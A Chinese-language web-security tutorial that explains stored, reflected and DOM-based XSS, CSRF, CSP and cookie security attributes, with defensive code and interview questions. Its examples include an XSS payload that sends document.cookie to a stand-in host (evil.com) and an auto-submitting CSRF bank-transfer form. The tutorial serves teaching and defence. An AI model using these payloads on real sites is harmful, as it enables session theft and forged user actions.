前端安全 XSS 与 CSRF

文章目录

  • 前言
  • 一、XSS(跨站脚本攻击)
    • [1.1 定义](#1.1 定义)
    • [1.2 三种类型](#1.2 三种类型)
      • [存储型 XSS](#存储型 XSS)
      • [反射型 XSS](#反射型 XSS)
      • [DOM 型 XSS](#DOM 型 XSS)
  • [二、XSS 防御](#二、XSS 防御)
    • [2.1 输出编码](#2.1 输出编码)
    • [2.2 避免危险 API](#2.2 避免危险 API)
    • [2.3 使用 DOMPurify](#2.3 使用 DOMPurify)
  • 三、CSRF(跨站请求伪造)
    • [3.1 定义](#3.1 定义)
    • [3.2 攻击原理](#3.2 攻击原理)
  • [四、CSRF 防御](#四、CSRF 防御)
    • [4.1 SameSite Cookie](#4.1 SameSite Cookie)
    • [4.2 CSRF Token](#4.2 CSRF Token)
    • [4.3 验证 Origin / Referer](#4.3 验证 Origin / Referer)
  • 五、CSP(内容安全策略)
    • [5.1 定义](#5.1 定义)
    • [5.2 配置示例](#5.2 配置示例)
    • [5.3 常用指令](#5.3 常用指令)
  • [六、Cookie 安全属性](#六、Cookie 安全属性)
    • [6.1 各属性作用](#6.1 各属性作用)
  • [七、XSS 能否绕过 CSRF 防御](#七、XSS 能否绕过 CSRF 防御)
  • 八、面试聚焦
    • [8.1 富文本安全处理](#8.1 富文本安全处理)
    • [8.2 innerHTML 的风险](#8.2 innerHTML 的风险)
  • 九、易混淆点
  • 十、思考与练习
  • 总结

前言

前端安全是开发中必须重视的问题,XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚:

  • XSS 的三种类型及防御
  • CSRF 的原理及防御
  • CSP(内容安全策略)
  • Cookie 安全属性

一、XSS(跨站脚本攻击)

1.1 定义

XSS 是指攻击者将恶意脚本注入到网页中,当用户访问时执行恶意代码。

1.2 三种类型

存储型 XSS

恶意脚本存储在服务器(数据库),用户访问时自动执行。

javascript 复制代码
// 攻击场景:评论区
// 攻击者提交恶意评论
const comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

// 服务器存储后,其他用户访问时脚本执行
// 危害:窃取 Cookie、会话劫持

反射型 XSS

恶意脚本在 URL 中,服务器反射回响应时执行。

javascript 复制代码
// 攻击场景:搜索功能
// URL: https://example.com/search?q=<script>alert('XSS')</script>

// 服务器将 query 直接拼接到 HTML
const html = `<div>搜索结果: ${query}</div>`

// 浏览器执行脚本

DOM 型 XSS

恶意脚本通过前端 JavaScript 直接操作 DOM 执行。

javascript 复制代码
// 攻击场景:从 URL 获取参数并插入 DOM
const hash = location.hash.substring(1)
document.getElementById('output').innerHTML = hash

// URL: https://example.com#<img src=x onerror="alert('XSS')">

二、XSS 防御

2.1 输出编码

javascript 复制代码
// 1. HTML 编码
function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
}

// 使用
const userInput = '<script>alert("XSS")</script>'
document.getElementById('output').textContent = userInput  // 安全
// 或
document.getElementById('output').innerHTML = encodeHTML(userInput)  // 安全

2.2 避免危险 API

javascript 复制代码
// ❌ 危险:直接使用 innerHTML
element.innerHTML = userInput

// ✅ 安全:使用 textContent
element.textContent = userInput

// ❌ 危险:动态执行代码
eval(userInput)
new Function(userInput)()

// ❌ 危险:拼接 HTML
const html = `<div>${userInput}</div>`

2.3 使用 DOMPurify

javascript 复制代码
// 富文本内容过滤
import DOMPurify from 'dompurify'

const dirty = '<img src=x onerror="alert(1)"><p>Hello</p>'
const clean = DOMPurify.sanitize(dirty)
// <p>Hello</p>(危险标签被移除)

// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'],
  ALLOWED_ATTR: ['href', 'title']
})

三、CSRF(跨站请求伪造)

3.1 定义

CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。

3.2 攻击原理

html 复制代码
<!-- 用户已登录 bank.com -->
<!-- 攻击者在 evil.com 放置 -->

<!-- 自动发起转账请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- 或使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>

<!-- 浏览器自动携带 bank.com 的 Cookie,请求成功 -->

四、CSRF 防御

javascript 复制代码
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// SameSite 属性值:
// Strict:完全禁止第三方 Cookie
// Lax:允许导航和 GET 请求携带(默认值)
// None:允许跨站携带(必须设置 Secure)

4.2 CSRF Token

javascript 复制代码
// 1. 服务器生成 Token
const csrfToken = generateRandomToken()
res.cookie('csrfToken', csrfToken)

// 2. 前端在请求中携带 Token
// 方式一:表单隐藏字段
<form>
  <input type="hidden" name="_csrf" value="${csrfToken}">
</form>

// 方式二:请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify(data)
})

// 3. 服务器验证 Token
app.post('/api/transfer', (req, res) => {
  if (req.headers['x-csrf-token'] !== req.cookies.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  // 处理请求
})

4.3 验证 Origin / Referer

javascript 复制代码
// 服务器检查请求来源
app.post('/api/transfer', (req, res) => {
  const origin = req.headers.origin || req.headers.referer
  if (!origin || !origin.startsWith('https://bank.com')) {
    return res.status(403).json({ error: 'Invalid origin' })
  }
  // 处理请求
})

五、CSP(内容安全策略)

5.1 定义

CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。

5.2 配置示例

javascript 复制代码
// HTTP 响应头
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;

// meta 标签
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

5.3 常用指令

javascript 复制代码
// script-src:限制脚本来源
//   'self':同源
//   'nonce-xxx':随机数匹配
//   'sha256-xxx':脚本哈希匹配

// style-src:限制样式来源
//   'unsafe-inline':允许内联样式(不推荐)

// connect-src:限制 AJAX / WebSocket 连接
//   'self':同源 API

// report-uri:违规上报地址
Content-Security-Policy: ...; report-uri /api/csp-report

六、Cookie 安全属性

javascript 复制代码
// 完整的 Cookie 安全配置
Set-Cookie: session=abc123; 
  Domain=example.com;
  Path=/;
  Secure;           // 只在 HTTPS 下发送
  HttpOnly;         // 禁止 JavaScript 访问
  SameSite=Strict;  // 禁止第三方携带
  Max-Age=3600;     // 过期时间

6.1 各属性作用

属性 作用
Secure 只在 HTTPS 下发送
HttpOnly 禁止 JavaScript 访问(防 XSS 窃取)
SameSite 限制第三方携带(防 CSRF)
Domain 指定 Cookie 适用域名
Path 指定 Cookie 适用路径

七、XSS 能否绕过 CSRF 防御

javascript 复制代码
// 场景:Cookie 设置了 SameSite=Strict
// 但攻击者通过 XSS 在目标站点执行脚本

// XSS 可以:
// 1. 在同源下发起请求(不受 SameSite 限制)
// 2. 读取页面中的 CSRF Token
// 3. 直接操作 DOM 提交表单

// 结论:XSS 可以绕过部分 CSRF 防御
// 因此:防御 XSS 是根本

八、面试聚焦

8.1 富文本安全处理

javascript 复制代码
// 问题:富文本允许用户输入 HTML,如何安全渲染?

// 方案:使用 DOMPurify 过滤
import DOMPurify from 'dompurify'

function renderRichText(dirty) {
  const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title']
  })
  return clean
}

// 危险属性需要过滤:
// onerror, onclick, onmouseover 等事件属性
// javascript: 协议的 href

8.2 innerHTML 的风险

javascript 复制代码
// ❌ 危险:直接拼接用户输入
element.innerHTML = `<div>${userInput}</div>`

// ✅ 安全:使用 textContent
element.textContent = userInput

// ✅ 安全:使用模板引擎自动转义
// Vue: {{ userInput }}  自动转义
// React: {userInput}    自动转义

九、易混淆点

  1. XSS vs CSRF:XSS 是注入恶意脚本执行;CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。
  2. 三种 XSS:存储型(服务器存储)、反射型(URL 反射)、DOM 型(前端 DOM 操作)。
  3. SameSite 属性:Strict 完全禁止,Lax 允许 GET 导航,None 必须配合 Secure。
  4. HttpOnly:防止 JavaScript 读取 Cookie,但不能防止 XSS 注入。

十、思考与练习

1. XSS 的三种类型及区别是什么?

解析:

  • 存储型:恶意脚本存储在服务器,所有用户访问都会触发
  • 反射型:恶意脚本在 URL 中,服务器反射回响应执行
  • DOM 型:恶意脚本通过前端 JavaScript 操作 DOM 执行

2. 如何防御 XSS?

解析:

  • 输出编码(HTML 编码、URL 编码)
  • 避免危险 API(innerHTML、eval)
  • 使用 DOMPurify 过滤富文本
  • 设置 CSP 限制脚本来源

3. CSRF 的防御方案有哪些?

解析:

  • SameSite Cookie 限制第三方携带
  • CSRF Token 验证请求合法性
  • 验证 Origin / Referer 来源

4. 为什么 XSS 可以绕过 CSRF 防御?

解析:XSS 在目标站点同源下执行脚本,不受 SameSite 限制,可以直接读取 CSRF Token 并发起请求。

5. Cookie 的安全属性有哪些?

解析:

  • Secure:只在 HTTPS 下发送
  • HttpOnly:禁止 JavaScript 访问
  • SameSite:限制第三方携带
  • Domain / Path:指定适用范围

总结

  • XSS:注入恶意脚本,分存储型、反射型、DOM 型
  • XSS 防御:输出编码、避免危险 API、DOMPurify、CSP
  • CSRF:伪造用户请求,利用 Cookie 自动携带机制
  • CSRF 防御:SameSite Cookie、CSRF Token、验证 Origin
  • CSP:通过 HTTP 头限制页面可加载的资源
  • Cookie 安全:Secure + HttpOnly + SameSite 组合使用
相关推荐
JS菌1 小时前
Skills 动态加载系统:让 AI Agent 按需获取领域知识
前端·人工智能·后端
weedsfly1 小时前
Sass 代码复用完全指南:从变量到模块化
前端
JGDT_2 小时前
ERP重塑与未来趋势:SAP的实践及大一统格局(上)
大数据·人工智能·安全·架构·开源
张拭心2 小时前
Android 17 新特性:后台音频交互限制加强
android·前端
张拭心2 小时前
Android 17 新特性:ProfilingManager 新触发器
android·前端
weixin_471383032 小时前
Taro-03-页面生命周期
前端·javascript·taro
一拳一个娘娘腔2 小时前
【第五期】漏洞攻防-逻辑篇:越权与支付漏洞 —— 为什么改个参数就能“0元购”?
安全·web安全·web
无拘无束自由的风2 小时前
租赁安全责任划分协议及实操要点
安全